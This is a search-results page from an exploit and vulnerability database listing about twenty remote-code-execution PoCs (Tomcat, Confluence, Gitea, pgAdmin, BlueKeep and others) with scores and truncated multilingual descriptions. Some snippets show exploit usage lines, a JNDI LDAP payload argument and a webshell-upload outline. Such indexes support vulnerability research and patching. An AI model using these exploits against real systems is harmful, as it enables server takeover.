Lucene search
+L

269882 matches found

Kitploit
Kitploit
added 2026/09/02 2:33 a.m.4 views

CVE-2021-42013-ApacheRCE

CVE-2021-42013-ApacheRCE...

9.8CVSS8.7AI score0.99964EPSS
SaveExploits190
Kitploit
Kitploit
added 2026/09/02 2:33 a.m.8 views

CVE-2019-0193

CVE-2019-0193 원격 코드 실행...

9CVSS7.1AI score0.83547EPSS
SaveExploits3
Kitploit
Kitploit
added 2026/09/02 2:33 a.m.5 views

CVE-2019-13025

Connect Box CH7465LG CVE-2019-13025 Информация Этот репозиторий содержит два PoC для Connect Box CH7465LG, работающего на прошивке CH7465LG-NCIP-6.12.18.24-5p8-NOSH или более ранней. Более подробную информацию можно найти в моём блоге. Использование Неаутентифицированное удалённое выполнение кода...

9.8CVSS7.3AI score0.03321EPSS
SaveExploits2
Kitploit
Kitploit
added 2026/09/02 2:32 a.m.6 views

CVE-2026-38526

CVE-2026-38526 - Krayin CRM RCE Описание PoC-скрипт критической уязвимости в Krayin CRM v2.2.x, позволяющий выполнение аутентифицированного RCE через неограниченную загрузку файлов. Использование root@kitploit: Web shell python3 exploit.py -u http://target.com -e [email protected] -p...

9.9CVSS5.9AI score0.03824EPSS
SaveExploits12References1
Kitploit
Kitploit
added 2026/09/02 2:32 a.m.4 views

CVE-2025-24813

설명 이 저장소는 CVE-2025-24813 Tomcat 최신 RCE를 재현하기 위한 환경입니다. 학습 및 연구 목적으로만 사용하세요! 이용 조건 애플리케이션이 DefaultServlet 쓰기 기능을 활성화해야 합니다. 기본적으로 비활성화되어 있습니다. 애플리케이션이 partial PUT 요청을 지원하여 악의적인 직렬화 데이터를 세션 파일에 쓸 수 있어야 합니다. 이 기능은 기본적으로 활성화되어 있습니다. 애플리케이션이 Tomcat의 파일 세션 지속성을 사용하고 기본 세션 저장 위치를 사용해야 합니다. 추가 구성이 필요합니다...

10CVSS7.2AI score0.99927EPSS
SaveExploits49
Kitploit
Kitploit
added 2026/09/02 2:31 a.m.4 views

CVE-2026-53595_exploit

CVE-2026-53595 + CVE-2026-53593 — FreeScout 익명 ATO → RCE FreeScout ≤ 1.8.223Laravel 기반 헬프데스크에서 두 가지 결함을 연쇄적으로 이용하는 인증되지 않은 원격 코드 실행RCE — 두 결함 모두 1.8.224 에서 수정되었습니다: CVE-2026-53595 — 익명 계정 탈취ATO. POST /user-setup/hash/invitesentat 요청은 invitehash 열만으로 계정을 선택합니다. 활성화된 사용자는 invitehash = '' 값을 가지며,...

9.4CVSS5.8AI score0.00616EPSS
SaveExploits1
Kitploit
Kitploit
added 2026/09/02 2:31 a.m.6 views

CVE-2026-13157

CVE-2026-13157 Theme Demo Import false를 명시적으로 비활성화합니다. 기본 사이트 관리자 또는 WordPress 멀티사이트 아키텍처에서 슈퍼 관리자가 아닌 사이트 관리자와 같이 가져오기import 권한을 보유한 인증된 사용자는 파일 제한 시행을 우회하여 공개된 디렉터리에 임의의 실행 가능한 PHP 스크립트를 직접 업로드할 수 있으며, 이를 통해 지속적인 원격 코드 실행RCE 및 완전한 서버 장악을 달성할 수 있습니다...

7.2CVSS5.9AI score0.00347EPSS
SaveExploits1
Kitploit
Kitploit
added 2026/09/02 2:31 a.m.3 views

CVE-2024-34716

CVE-2024-34716PoC Более подробные технические детали можно найти на https://ayoubmokhtar.com/post/pngdrivenchainxsstoremotecodeexecutionprestashop8.1.5cve-2024-34716/ Установка pip install -r requirements.txt Использование Usage: python exploit.py --url --email --local-ip --admin-path...

9.6CVSS7.2AI score0.5617EPSS
SaveExploits2
Kitploit
Kitploit
added 2026/09/02 2:31 a.m.4 views

CVE-2019-3396

CVE-2019-3396 Confluence Widget Connector 경로 탐색 CVE-2019-3396 RCE POC root@kitploit: POST /rest/tinymce/1/macro/preview HTTP/1.1 Host: x.x.x.x Connection: close Accept-Encoding: gzip, deflate Accept: / User-Agent: Mozilla/5.0 X11; Linux x8664; rv:60.0 Gecko/20100101 Firefox/60.0 Content-Type:...

10CVSS7.4AI score0.99913EPSS
SaveExploits20
Kitploit
Kitploit
added 2026/09/02 2:30 a.m.6 views

CVE-2022-30781

🍵 CVE-2022-30781 Gitea 저장소 마이그레이션 원격 코드 실행 익스플로잇. 사용 방법 1. 이 리포지토리의 파일로 HTTP 파일 시스템 서버를 실행합니다. 2. api/v1/repos/e99/exp/pulls/1/index.html L96에서 실행할 명령을 편집합니다. 3. Gitea 인스턴스에서 URL http:///e99/exp로 원격 저장소를 마이그레이션합니다. 4. Pwnned! 참고 https://tttang.com/archive/1607/ 중국어 크레딧 @wuhan005 @Li4n0 Vidar-Team...

7.5CVSS7.2AI score0.89361EPSS
SaveExploits8References2
Kitploit
Kitploit
added 2026/09/02 2:30 a.m.5 views

CVE-2024-41662

CVE-2024-41662 XSS через Markdown приводит к RCE в VNote версии ПРИМЕЧАНИЕ: Приложение правильно проверяет некоторые JavaScript-нагрузки, выполняя кодирование вывода. Однако в определенных случаях проверка не выполняется...

9.6CVSS6AI score0.01661EPSS
SaveExploits1
Kitploit
Kitploit
added 2026/09/02 2:29 a.m.6 views

CVE-2025-2945_PgAdmin_PoC

CVE-2025-2945PoC pgAdmin 개념 증명 pgAdmin Query Tool RCE CVE-2025-2945 – Python 개념 증명 ⚠️ 면책 조항 이 저장소는 pgAdmin 4 9.2 이전 버전에 존재하는 심각한 원격 코드 실행 취약점인 CVE-2025-2945에 대한 개념 증명 익스플로잇을 포함하고 있습니다. 이 코드는 오직 본인이 소유하거나 테스트를 위한 명시적 허가를 받은 환경에서만 사용하십시오. 저자는 이 소프트웨어로 인한 오용이나 손해에 대해 책임을 지지 않습니다. 목차 1. 개요 2. 취약점 세부 정...

9.9CVSS7.4AI score0.53788EPSS
SaveExploits11References1
Kitploit
Kitploit
added 2026/09/02 2:29 a.m.3 views

spring-framework-rce

spring-framework-rce CVE-2022-22965 Требования к среде 1. tomcat8 8 Инструкция по использованию 1. Скачайте springframeworkrce-0.0.1-SNAPSHOT.zip, распакуйте и переименуйте в ROOT.war. 2. Замените папку ROOT или файл ROOT.war в папке webapps внутри tomcat. 3. Перейдите в каталог bin внутри tomcat...

9.8CVSS6.9AI score0.99638EPSS
SaveExploits105References1
Kitploit
Kitploit
added 2026/09/02 2:29 a.m.5 views

CVE-2020-1947

CVE-2020-1947 root@kitploit: usage: CVE-2020-1947.py -h -i IP -p PORT -T ACCESSTOKEN -poc POC python CVE-2020-1947.py -i 192.168.128.135 -p 8088 -T eyJ1c2VybmFtZSI6ImFk -poc ldap://127.0.0.1:1389/CommandObject...

9.8CVSS8.8AI score0.33918EPSS
SaveExploits1
Kitploit
Kitploit
added 2026/09/02 2:28 a.m.6 views

CVE-2023-26035

CVE-2023-26035 ZoneMinder 스냅샷 - 비인증 설치 저장소 가져오기 root@kitploit: $ git clone https://github.com/Yuma-Tsushima07/CVE-2023-26035.git 설정 참고: 최신 버전의 node를 설치하세요. root@kitploit: $ npm init $ npm i axios cheerio yargs 사용법 root@kitploit: ┌─✗─v37r1x@7h3B14ckKn1gh75─/Documents/Code/CVE-2023-26035 └──╼ $node...

9.8CVSS7.2AI score0.80462EPSS
SaveExploits11
Kitploit
Kitploit
added 2026/09/02 2:28 a.m.6 views

CVE-2019-0708

CVE-2019-0708 первоначальный эксплойт для CVE-2019-0708, BlueKeep CVE-2019-0708 BlueKeep RDP удаленное ядро Windows Use After Free Драйвер RDP termdd.sys неправильно обрабатывает привязки к внутреннему каналу MST120, что позволяет с помощью искаженного сообщения Disconnect Provider Indication...

10CVSS7AI score0.99999EPSS
SaveExploits126
CVE
CVE
added 2026/09/02 2:26 a.m.13 views

CVE-2026-14982

The WP File Download plugin for WordPress (versions ≤ 6.3.4 ) is vulnerable to arbitrary file deletion via insufficient path validation in the delete function. Authenticated attackers with subscriber-level access or above can exploit a two-stage attack : first calling the file.save endpoint to pe...

8.1CVSS6.5AI score0.00518EPSS
SaveExploits0References2
Kitploit
Kitploit
added 2026/09/02 2:26 a.m.4 views

Apache-Solr-RCE_CVE-2023-50386_POC

Apache-Solr-RCECVE-2023-50386POC Apache Solr Backup/Restore APIs RCE Poc CVE-2023-50386 Ссылки с уважением к dalao: Блог автора уязвимости CVE-2023-50386 Методы обхода Java Security Manager Обход защиты рефлексии в JDK 17 JNI обход RASP Принцип эксплуатации и размышления:...

8.8CVSS7.1AI score0.83719EPSS
SaveExploits4References2
Kitploit
Kitploit
added 2026/09/02 2:25 a.m.3 views

CVE-2017-12617

CVE-2017-12617 CVE-2017-12617 — критическая уязвимость удаленного выполнения кода RCE, обнаруженная в Apache Tomcat Уязвимы системы, в которых включены HTTP PUT путем установки параметра инициализации «read-only» сервлета Default в значение «false». Версии Tomcat до 9.0.1 Beta, 8.5.23, 8.0.47 и...

8.1CVSS7AI score0.99988EPSS
SaveExploits23
Kitploit
Kitploit
added 2026/09/02 2:25 a.m.3 views

CVE-2022-25581

CVE-2022-25581 Везде в интернете не найти, оставляю резервную копию. Python эксплойт-скрипт для автоматического выполнения следующих шагов: ✅ Цель скрипта 1. Войти в панель администратора получить csrf и token 2. Сформировать вредоносный запрос для загрузки архива содержащего webshell 3. Получить...

7.8CVSS7.1AI score0.01176EPSS
SaveExploits1
Rows per page
Query Builder